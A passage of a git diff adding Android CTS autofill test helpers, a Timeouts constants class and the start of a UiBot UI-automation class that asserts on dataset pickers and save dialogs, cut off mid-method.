+import com.android.compatibility.common.util.Timeout;
+
+/**
+ * Timeouts for common tasks.
+ */
+public final class Timeouts {
+
+    private static final long ONE_TIMEOUT_TO_RULE_THEN_ALL_MS = 20_000;
+    private static final long ONE_NAPTIME_TO_RULE_THEN_ALL_MS = 2_000;
+
+    public static final long MOCK_IME_TIMEOUT_MS = 5_000;
+    public static final long DRAWABLE_TIMEOUT_MS = 5_000;
+
+    public static final long LONG_PRESS_MS = 3000;
+    public static final long RESPONSE_DELAY_MS = 1000;
+
+    /**
+     * Timeout until framework binds / unbinds from service.
+     */
+    public static final Timeout CONNECTION_TIMEOUT = new Timeout("CONNECTION_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout for {@link MyAutofillCallback#assertNotCalled()} - test will sleep for that amount of
+     * time as there is no callback that be received to assert it's not shown.
+     */
+    public static final long CALLBACK_NOT_CALLED_TIMEOUT_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
+
+    /**
+     * Timeout until framework unbinds from a service.
+     */
+    // TODO: must be higher than RemoteFillService.TIMEOUT_IDLE_BIND_MILLIS, so we should use a
+    // @hidden @Testing constants instead...
+    public static final Timeout IDLE_UNBIND_TIMEOUT = new Timeout("IDLE_UNBIND_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout to get the expected number of fill events.
+     */
+    public static final Timeout FILL_EVENTS_TIMEOUT = new Timeout("FILL_EVENTS_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout for expected autofill requests.
+     */
+    public static final Timeout FILL_TIMEOUT = new Timeout("FILL_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout for expected save requests.
+     */
+    public static final Timeout SAVE_TIMEOUT = new Timeout("SAVE_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout used when save is not expected to be shown - test will sleep for that amount of time
+     * as there is no callback that be received to assert it's not shown.
+     */
+    public static final long SAVE_NOT_SHOWN_NAPTIME_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
+
+    /**
+     * Timeout for UI operations. Typically used by {@link UiBot}.
+     */
+    public static final Timeout UI_TIMEOUT = new Timeout("UI_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout for a11y window change events.
+     */
+    public static final long WINDOW_CHANGE_TIMEOUT_MS = ONE_TIMEOUT_TO_RULE_THEN_ALL_MS;
+
+    /**
+     * Timeout used when an a11y window change events is not expected to be generated - test will
+     * sleep for that amount of time as there is no callback that be received to assert it's not
+     * shown.
+     */
+    public static final long WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS =
+            ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
+
+    /**
+     * Timeout for webview operations. Typically used by {@link UiBot}.
+     */
+    // TODO(b/80317628): switch back to ONE_TIMEOUT_TO_RULE_THEN_ALL_MS once fixed...
+    public static final Timeout WEBVIEW_TIMEOUT = new Timeout("WEBVIEW_TIMEOUT", 3_000, 2F, 5_000);
+
+    /**
+     * Timeout for showing the autofill dataset picker UI.
+     *
+     * <p>The value is usually higher than {@link #UI_TIMEOUT} because the performance of the
+     * dataset picker UI can be affect by external factors in some low-level devices.
+     *
+     * <p>Typically used by {@link UiBot}.
+     */
+    public static final Timeout UI_DATASET_PICKER_TIMEOUT = new Timeout("UI_DATASET_PICKER_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout used when the dataset picker is not expected to be shown - test will sleep for that
+     * amount of time as there is no callback that be received to assert it's not shown.
+     */
+    public static final long DATASET_PICKER_NOT_SHOWN_NAPTIME_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
+
+    /**
+     * Timeout (in milliseconds) for an activity to be brought out to top.
+     */
+    public static final Timeout ACTIVITY_RESURRECTION = new Timeout("ACTIVITY_RESURRECTION",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout for changing the screen orientation.
+     */
+    public static final Timeout UI_SCREEN_ORIENTATION_TIMEOUT = new Timeout(
+            "UI_SCREEN_ORIENTATION_TIMEOUT", ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F,
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    private Timeouts() {
+        throw new UnsupportedOperationException("contain static methods only");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
new file mode 100644
index 0000000..bfd6b0c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
@@ -0,0 +1,1265 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.DATASET_PICKER_NOT_SHOWN_NAPTIME_MS;
+import static android.autofillservice.cts.testcore.Timeouts.LONG_PRESS_MS;
+import static android.autofillservice.cts.testcore.Timeouts.SAVE_NOT_SHOWN_NAPTIME_MS;
+import static android.autofillservice.cts.testcore.Timeouts.SAVE_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.UI_DATASET_PICKER_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.UI_SCREEN_ORIENTATION_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.UI_TIMEOUT;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_DEBIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PAYMENT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Rect;
+import android.os.SystemClock;
+import android.service.autofill.SaveInfo;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.Direction;
+import android.support.test.uiautomator.SearchCondition;
+import android.support.test.uiautomator.StaleObjectException;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
+import android.support.test.uiautomator.Until;
+import android.text.Html;
+import android.text.Spanned;
+import android.text.style.URLSpan;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowInsets;
+import android.view.accessibility.AccessibilityEvent;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityWindowInfo;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.RetryableException;
+import com.android.compatibility.common.util.Timeout;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Helper for UI-related needs.
+ */
+public class UiBot {
+
+    private static final String TAG = "AutoFillCtsUiBot";
+
+    private static final String RESOURCE_ID_DATASET_PICKER = "autofill_dataset_picker";
+    private static final String RESOURCE_ID_DATASET_HEADER = "autofill_dataset_header";
+    private static final String RESOURCE_ID_SAVE_SNACKBAR = "autofill_save";
+    private static final String RESOURCE_ID_SAVE_ICON = "autofill_save_icon";
+    private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
+    private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
+    private static final String RESOURCE_ID_SAVE_BUTTON_NO = "autofill_save_no";
+    private static final String RESOURCE_ID_SAVE_BUTTON_YES = "autofill_save_yes";
+    private static final String RESOURCE_ID_OVERFLOW = "overflow";
+
+    private static final String RESOURCE_STRING_SAVE_TITLE = "autofill_save_title";
+    private static final String RESOURCE_STRING_SAVE_TITLE_WITH_TYPE =
+            "autofill_save_title_with_type";
+    private static final String RESOURCE_STRING_SAVE_TYPE_PASSWORD = "autofill_save_type_password";
+    private static final String RESOURCE_STRING_SAVE_TYPE_ADDRESS = "autofill_save_type_address";
+    private static final String RESOURCE_STRING_SAVE_TYPE_CREDIT_CARD =
+            "autofill_save_type_credit_card";
+    private static final String RESOURCE_STRING_SAVE_TYPE_USERNAME = "autofill_save_type_username";
+    private static final String RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS =
+            "autofill_save_type_email_address";
+    private static final String RESOURCE_STRING_SAVE_TYPE_DEBIT_CARD =
+            "autofill_save_type_debit_card";
+    private static final String RESOURCE_STRING_SAVE_TYPE_PAYMENT_CARD =
+            "autofill_save_type_payment_card";
+    private static final String RESOURCE_STRING_SAVE_TYPE_GENERIC_CARD =
+            "autofill_save_type_generic_card";
+    private static final String RESOURCE_STRING_SAVE_BUTTON_NEVER = "autofill_save_never";
+    private static final String RESOURCE_STRING_SAVE_BUTTON_NOT_NOW = "autofill_save_notnow";
+    private static final String RESOURCE_STRING_SAVE_BUTTON_NO_THANKS = "autofill_save_no";
+    private static final String RESOURCE_STRING_SAVE_BUTTON_YES = "autofill_save_yes";
+    private static final String RESOURCE_STRING_UPDATE_BUTTON_YES = "autofill_update_yes";
+    private static final String RESOURCE_STRING_CONTINUE_BUTTON_YES = "autofill_continue_yes";
+    private static final String RESOURCE_STRING_UPDATE_TITLE = "autofill_update_title";
+    private static final String RESOURCE_STRING_UPDATE_TITLE_WITH_TYPE =
+            "autofill_update_title_with_type";
+
+    private static final String RESOURCE_STRING_AUTOFILL = "autofill";
+    private static final String RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE =
+            "autofill_picker_accessibility_title";
+    private static final String RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE =
+            "autofill_save_accessibility_title";
+
+
+    static final BySelector DATASET_PICKER_SELECTOR = By.res("android", RESOURCE_ID_DATASET_PICKER);
+    private static final BySelector SAVE_UI_SELECTOR = By.res("android", RESOURCE_ID_SAVE_SNACKBAR);
+    private static final BySelector DATASET_HEADER_SELECTOR =
+            By.res("android", RESOURCE_ID_DATASET_HEADER);
+
+    // TODO: figure out a more reliable solution that does not depend on SystemUI resources.
+    private static final String SPLIT_WINDOW_DIVIDER_ID =
+            "com.android.systemui:id/docked_divider_background";
+
+    private static final boolean DUMP_ON_ERROR = true;
+
+    private static final int MAX_UIOBJECT_RETRY_COUNT = 3;
+
+    /** Pass to {@link #setScreenOrientation(int)} to change the display to portrait mode */
+    public static int PORTRAIT = 0;
+
+    /** Pass to {@link #setScreenOrientation(int)} to change the display to landscape mode */
+    public static int LANDSCAPE = 1;
+
+    private final UiDevice mDevice;
+    private final Context mContext;
+    private final String mPackageName;
+    private final UiAutomation mAutoman;
+    private final Timeout mDefaultTimeout;
+
+    private boolean mOkToCallAssertNoDatasets;
+
+    public UiBot() {
+        this(UI_TIMEOUT);
+    }
+
+    public UiBot(Timeout defaultTimeout) {
+        mDefaultTimeout = defaultTimeout;
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        mDevice = UiDevice.getInstance(instrumentation);
+        mContext = instrumentation.getContext();
+        mPackageName = mContext.getPackageName();
+        mAutoman = instrumentation.getUiAutomation();
+    }
+
+    public void waitForIdle() {
+        final long before = SystemClock.elapsedRealtimeNanos();
+        mDevice.waitForIdle();
+        final float delta = ((float) (SystemClock.elapsedRealtimeNanos() - before)) / 1_000_000;
+        Log.v(TAG, "device idle in " + delta + "ms");
+    }
+
+    public void waitForIdleSync() {
+        final long before = SystemClock.elapsedRealtimeNanos();
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+        final float delta = ((float) (SystemClock.elapsedRealtimeNanos() - before)) / 1_000_000;
+        Log.v(TAG, "device idle sync in " + delta + "ms");
+    }
+
+    public void reset() {
+        mOkToCallAssertNoDatasets = false;
+    }
+
+    /**
+     * Assumes the device has a minimum height and width of {@code minSize}, throwing a
+     * {@code AssumptionViolatedException} if it doesn't (so the test is skiped by the JUnit
+     * Runner).
+     */
+    public void assumeMinimumResolution(int minSize) {
+        final int width = mDevice.getDisplayWidth();
+        final int heigth = mDevice.getDisplayHeight();
+        final int min = Math.min(width, heigth);
+        assumeTrue("Screen size is too small (" + width + "x" + heigth + ")", min >= minSize);
+        Log.d(TAG, "assumeMinimumResolution(" + minSize + ") passed: screen size is "
+                + width + "x" + heigth);
+    }
+
+    /**
+     * Sets the screen resolution in a way that the IME doesn't interfere with the Autofill UI
+     * when the device is rotated to landscape.
+     *
+     * When called, test must call <p>{@link #resetScreenResolution()} in a {@code finally} block.
+     *
+     * @deprecated this method should not be necessarily anymore as we're using a MockIme.
+     */
+    @Deprecated
+    // TODO: remove once we're sure no more OEM is getting failure due to screen size
+    public void setScreenResolution() {
+        if (true) {
+            Log.w(TAG, "setScreenResolution(): ignored");
+            return;
+        }
+        assumeMinimumResolution(500);
+
+        runShellCommand("wm size 1080x1920");
+        runShellCommand("wm density 320");
+    }
+
+    /**
+     * Resets the screen resolution.
+     *
+     * <p>Should always be called after {@link #setScreenResolution()}.
+     *
+     * @deprecated this method should not be necessarily anymore as we're using a MockIme.
+     */
+    @Deprecated
+    // TODO: remove once we're sure no more OEM is getting failure due to screen size
+    public void resetScreenResolution() {
+        if (true) {
+            Log.w(TAG, "resetScreenResolution(): ignored");
+            return;
+        }
+        runShellCommand("wm density reset");
+        runShellCommand("wm size reset");
+    }
+
+    /**
+     * Asserts the dataset picker is not shown anymore.
+     *
+     * @throws IllegalStateException if called *before* an assertion was made to make sure the
+     * dataset picker is shown - if that's not the case, call
+     * {@link #assertNoDatasetsEver()} instead.
+     */
+    public void assertNoDatasets() throws Exception {
+        if (!mOkToCallAssertNoDatasets) {
+            throw new IllegalStateException(
+                    "Cannot call assertNoDatasets() without calling assertDatasets first");
+        }
+        mDevice.wait(Until.gone(DATASET_PICKER_SELECTOR), UI_DATASET_PICKER_TIMEOUT.ms());
+        mOkToCallAssertNoDatasets = false;
+    }
+
+    /**
+     * Asserts the dataset picker was never shown.
+     *
+     * <p>This method is slower than {@link #assertNoDatasets()} and should only be called in the
+     * cases where the dataset picker was not previous shown.
+     */
+    public void assertNoDatasetsEver() throws Exception {
+        assertNeverShown("dataset picker", DATASET_PICKER_SELECTOR,
+                DATASET_PICKER_NOT_SHOWN_NAPTIME_MS);
+    }
+
+    /**
+     * Asserts the dataset chooser is shown and contains exactly the given datasets.
+     *
+     * @return the dataset picker object.
+     */
+    public UiObject2 assertDatasets(String...names) throws Exception {
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
+        return assertDatasets(picker, names);
+    }
+
+    protected UiObject2 assertDatasets(UiObject2 picker, String...names) {
+        assertWithMessage("wrong dataset names").that(getChildrenAsText(picker))
+                .containsExactlyElementsIn(Arrays.asList(names)).inOrder();
+        return picker;
+    }
+
+    /**
+     * Asserts the dataset chooser is shown and contains the given datasets.
+     *
+     * @return the dataset picker object.
+     */
+    public UiObject2 assertDatasetsContains(String...names) throws Exception {
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
+        assertWithMessage("wrong dataset names").that(getChildrenAsText(picker))
+                .containsAtLeastElementsIn(Arrays.asList(names)).inOrder();
+        return picker;
+    }
+
+    /**
+     * Asserts the dataset chooser is shown and contains the given datasets, header, and footer.
+     * <p>In fullscreen, header view is not under R.id.autofill_dataset_picker.
+     *
+     * @return the dataset picker object.
+     */
+    public UiObject2 assertDatasetsWithBorders(String header, String footer, String...names)
+            throws Exception {
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
+        final List<String> expectedChild = new ArrayList<>();
+        if (header != null) {
+            if (Helper.isAutofillWindowFullScreen(mContext)) {
+                final UiObject2 headerView = waitForObject(DATASET_HEADER_SELECTOR,
+                        UI_DATASET_PICKER_TIMEOUT);
+                assertWithMessage("fullscreen wrong dataset header")
+                        .that(getChildrenAsText(headerView))
+                        .containsExactlyElementsIn(Arrays.asList(header)).inOrder();
+            } else {
+                expectedChild.add(header);
+            }
+        }
+        expectedChild.addAll(Arrays.asList(names));
+        if (footer != null) {
+            expectedChild.add(footer);
+        }
+        assertWithMessage("wrong elements on dataset picker").that(getChildrenAsText(picker))
+                .containsExactlyElementsIn(expectedChild).inOrder();
+        return picker;
+    }
+
+    /**
+     * Gets the text of this object children.
+     */
+    public List<String> getChildrenAsText(UiObject2 object) {
+        final List<String> list = new ArrayList<>();
+        getChildrenAsText(object, list);
+        return list;
+    }
+
+    private static void getChildrenAsText(UiObject2 object, List<String> children) {
+        final String text = object.getText();
+        if (text != null) {
+            children.add(text);
+        }
+        for (UiObject2 child : object.getChildren()) {
+            getChildrenAsText(child, children);
+        }
+    }
+
+    /**
+     * Selects a dataset that should be visible in the floating UI and does not need to wait for
+     * application become idle.
+     */
+    public void selectDataset(String name) throws Exception {
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
+        selectDataset(picker, name);
+    }
+
+    /**
+     * Selects a dataset that should be visible in the floating UI and waits for application become
+     * idle if needed.
+     */
+    public void selectDatasetSync(String name) throws Exception {
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
+        selectDataset(picker, name);
+        mDevice.waitForIdle();
+    }
+
+    /**
+     * Selects a dataset that should be visible in the floating UI.
+     */
+    public void selectDataset(UiObject2 picker, String name) {
+        final UiObject2 dataset = picker.findObject(By.text(name));
+        if (dataset == null) {
+            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(picker));
+        }
+        dataset.click();
+    }
+
+    /**
+     * Finds the suggestion by name and perform long click on suggestion to trigger attribution
+     * intent.
+     */
+    public void longPressSuggestion(String name) throws Exception {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
+     * Asserts the suggestion chooser is shown in the suggestion view.
+     */
+    public void assertSuggestion(String name) throws Exception {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
+     * Asserts the suggestion chooser is not shown in the suggestion view.
+     */
+    public void assertNoSuggestion(String name) throws Exception {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
+     * Scrolls the suggestion view.
+     *
+     * @param direction The direction to scroll.
+     * @param speed The speed to scroll per second.
+     */
+    public void scrollSuggestionView(Direction direction, int speed) throws Exception {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
+     * Selects a view by text.
+     *
+     * <p><b>NOTE:</b> when selecting an option in dataset picker is shown, prefer
+     * {@link #selectDataset(String)}.
+     */
+    public void selectByText(String name) throws Exception {
+        Log.v(TAG, "selectByText(): " + name);
+
+        final UiObject2 object = waitForObject(By.text(name));
+        object.click();
+    }
+
+    /**
+     * Asserts a text is shown.
+     *
+     * <p><b>NOTE:</b> when asserting the dataset picker is shown, prefer
+     * {@link #assertDatasets(String...)}.
+     */
+    public UiObject2 assertShownByText(String text) throws Exception {
+        return assertShownByText(text, mDefaultTimeout);
+    }
+
+    public UiObject2 assertShownByText(String text, Timeout timeout) throws Exception {
+        final UiObject2 object = waitForObject(By.text(text), timeout);
+        assertWithMessage("No node with text '%s'", text).that(object).isNotNull();
+        return object;
+    }
+
+    /**
+     * Finds a node by text, without waiting for it to be shown (but failing if it isn't).
+     */
+    @NonNull
+    public UiObject2 findRightAwayByText(@NonNull String text) throws Exception {
+        final UiObject2 object = mDevice.findObject(By.text(text));
+        assertWithMessage("no UIObject for text '%s'", text).that(object).isNotNull();
+        return object;
+    }
+
+    /**
+     * Asserts that the text is not showing for sure in the screen "as is", i.e., without waiting
+     * for it.
+     *
+     * <p>Typically called after another assertion that waits for a condition to be shown.
+     */
+    public void assertNotShowingForSure(String text) throws Exception {
+        final UiObject2 object = mDevice.findObject(By.text(text));
+        assertWithMessage("Found node with text '%s'", text).that(object).isNull();
+    }
+
+    /**
+     * Asserts a node with the given content description is shown.
+     *
+     */
+    public UiObject2 assertShownByContentDescription(String contentDescription) throws Exception {
+        final UiObject2 object = waitForObject(By.desc(contentDescription));
+        assertWithMessage("No node with content description '%s'", contentDescription).that(object)
+                .isNotNull();
+        return object;
+    }
+
+    /**
+     * Checks if a View with a certain text exists.
+     */
+    public boolean hasViewWithText(String name) {
+        Log.v(TAG, "hasViewWithText(): " + name);
+
+        return mDevice.findObject(By.text(name)) != null;
+    }
+
+    /**
+     * Selects a view by id.
+     */
+    public UiObject2 selectByRelativeId(String id) throws Exception {
+        Log.v(TAG, "selectByRelativeId(): " + id);
+        UiObject2 object = waitForObject(By.res(mPackageName, id));
+        object.click();
+        return object;
+    }
+
+    /**
+     * Asserts the id is shown on the screen.
+     */
+    public UiObject2 assertShownById(String id) throws Exception {
+        final UiObject2 object = waitForObject(By.res(id));
+        assertThat(object).isNotNull();
+        return object;
+    }
+
+    /**
+     * Asserts the id is shown on the screen, using a resource id from the test package.
+     */
+    public UiObject2 assertShownByRelativeId(String id) throws Exception {
+        return assertShownByRelativeId(id, mDefaultTimeout);
+    }
+
+    public UiObject2 assertShownByRelativeId(String id, Timeout timeout) throws Exception {
+        final UiObject2 obj = waitForObject(By.res(mPackageName, id), timeout);
+        assertThat(obj).isNotNull();
+        return obj;
+    }
+
+    /**
+     * Asserts the id is not shown on the screen anymore, using a resource id from the test package.
+     *
+     * <p><b>Note:</b> this method should only called AFTER the id was previously shown, otherwise
+     * it might pass without really asserting anything.
+     */
+    public void assertGoneByRelativeId(@NonNull String id, @NonNull Timeout timeout) {
+        assertGoneByRelativeId(/* parent = */ null, id, timeout);
+    }
+
+    public void assertGoneByRelativeId(int resId, @NonNull Timeout timeout) {
+        assertGoneByRelativeId(/* parent = */ null, getIdName(resId), timeout);
+    }
+
+    private String getIdName(int resId) {
+        return mContext.getResources().getResourceEntryName(resId);
+    }
+
+    /**
+     * Asserts the id is not shown on the parent anymore, using a resource id from the test package.
+     *
+     * <p><b>Note:</b> this method should only called AFTER the id was previously shown, otherwise
+     * it might pass without really asserting anything.
+     */
+    public void assertGoneByRelativeId(@Nullable UiObject2 parent, @NonNull String id,
+            @NonNull Timeout timeout) {
+        final SearchCondition<Boolean> condition = Until.gone(By.res(mPackageName, id));
+        final boolean gone = parent != null
+                ? parent.wait(condition, timeout.ms())
+                : mDevice.wait(condition, timeout.ms());
+        if (!gone) {
+            final String message = "Object with id '" + id + "' should be gone after "
+                    + timeout + " ms";
+            dumpScreen(message);
+            throw new RetryableException(message);
+        }
+    }
+
+    public UiObject2 assertShownByRelativeId(int resId) throws Exception {
+        return assertShownByRelativeId(getIdName(resId));
+    }
+
+    public void assertNeverShownByRelativeId(@NonNull String description, int resId, long timeout)
+            throws Exception {
+        final BySelector selector = By.res(Helper.MY_PACKAGE, getIdName(resId));
+        assertNeverShown(description, selector, timeout);
+    }
+
+    /**
+     * Asserts that a {@code selector} is not showing after {@code timeout} milliseconds.
+     */
+    protected void assertNeverShown(String description, BySelector selector, long timeout)
+            throws Exception {
+        SystemClock.sleep(timeout);
+        final UiObject2 object = mDevice.findObject(selector);
+        if (object != null) {
+            throw new AssertionError(
+                    String.format("Should not be showing %s after %dms, but got %s",
+                            description, timeout, getChildrenAsText(object)));
+        }
+    }
+
+    /**
+     * Gets the text set on a view.
+     */
+    public String getTextByRelativeId(String id) throws Exception {
+        return waitForObject(By.res(mPackageName, id)).getText();
+    }
+
+    /**
+     * Focus in the view with the given resource id.
+     */
+    public void focusByRelativeId(String id) throws Exception {
+        waitForObject(By.res(mPackageName, id)).click();
+    }
+
+    /**
+     * Sets a new text on a view.
+     */
+    public void setTextByRelativeId(String id, String newText) throws Exception {
+        waitForObject(By.res(mPackageName, id)).setText(newText);
+    }
+
+    /**
+     * Asserts the save snackbar is showing and returns it.
+     */
+    public UiObject2 assertSaveShowing(int type) throws Exception {
+        return assertSaveShowing(SAVE_TIMEOUT, type);
+    }
+
+    /**
+     * Asserts the save snackbar is showing and returns it.
+     */
+    public UiObject2 assertSaveShowing(Timeout timeout, int type) throws Exception {
+        return assertSaveShowing(null, timeout, type);
+    }
+
+    /**
+     * Asserts the save snackbar is showing with the Update message and returns it.
+     */
+    public UiObject2 assertUpdateShowing(int... types) throws Exception {
+        return assertSaveOrUpdateShowing(/* update= */ true, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+                null, SAVE_TIMEOUT, types);
+    }
+
+    /**
+     * Presses the Back button.
+     */
+    public void pressBack() {
+        Log.d(TAG, "pressBack()");
+        mDevice.pressBack();
+    }
+
+    /**
+     * Presses the Home button.
+     */
+    public void pressHome() {
+        Log.d(TAG, "pressHome()");
+        mDevice.pressHome();
+    }
+
+    /**
+     * Asserts the save snackbar is not showing.
+     */
+    public void assertSaveNotShowing(int type) throws Exception {
+        assertNeverShown("save UI for type " + type, SAVE_UI_SELECTOR, SAVE_NOT_SHOWN_NAPTIME_MS);
+    }
+
+    public void assertSaveNotShowing() throws Exception {
+        assertNeverShown("save UI", SAVE_UI_SELECTOR, SAVE_NOT_SHOWN_NAPTIME_MS);
+    }
+
+    private String getSaveTypeString(int type) {
+        final String typeResourceName;
+        switch (type) {
+            case SAVE_DATA_TYPE_PASSWORD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_PASSWORD;
+                break;
+            case SAVE_DATA_TYPE_ADDRESS:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_ADDRESS;
+                break;
+            case SAVE_DATA_TYPE_CREDIT_CARD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_CREDIT_CARD;
+                break;
+            case SAVE_DATA_TYPE_USERNAME:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_USERNAME;
+                break;
+            case SAVE_DATA_TYPE_EMAIL_ADDRESS:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS;
+                break;
+            case SAVE_DATA_TYPE_DEBIT_CARD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_DEBIT_CARD;
+                break;
+            case SAVE_DATA_TYPE_PAYMENT_CARD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_PAYMENT_CARD;
+                break;
+            case SAVE_DATA_TYPE_GENERIC_CARD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_GENERIC_CARD;
+                break;
+            default:
+                throw new IllegalArgumentException("Unsupported type: " + type);
+        }
+        return getString(typeResourceName);
+    }
+
+    public UiObject2 assertSaveShowing(String description, int... types) throws Exception {
+        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+                description, SAVE_TIMEOUT, types);
+    }
+
+    public UiObject2 assertSaveShowing(String description, Timeout timeout, int... types)
+            throws Exception {
+        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+                description, timeout, types);
+    }
+
+    public UiObject2 assertSaveShowing(int negativeButtonStyle, String description,
+            int... types) throws Exception {
+        return assertSaveOrUpdateShowing(/* update= */ false, negativeButtonStyle, description,
+                SAVE_TIMEOUT, types);
+    }
+
+    public UiObject2 assertSaveShowing(int positiveButtonStyle, int... types) throws Exception {
+        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+                positiveButtonStyle, /* description= */ null, SAVE_TIMEOUT, types);
+    }
+
+    public UiObject2 assertSaveOrUpdateShowing(boolean update, int negativeButtonStyle,
+            String description, Timeout timeout, int... types) throws Exception {
+        return assertSaveOrUpdateShowing(update, negativeButtonStyle,
+                SaveInfo.POSITIVE_BUTTON_STYLE_SAVE, description, timeout, types);
+    }
+
+    public UiObject2 assertSaveOrUpdateShowing(boolean update, int negativeButtonStyle,
+            int positiveButtonStyle, String description, Timeout timeout, int... types)
+            throws Exception {
+
+        final UiObject2 snackbar = waitForObject(SAVE_UI_SELECTOR, timeout);
+
+        final UiObject2 titleView =
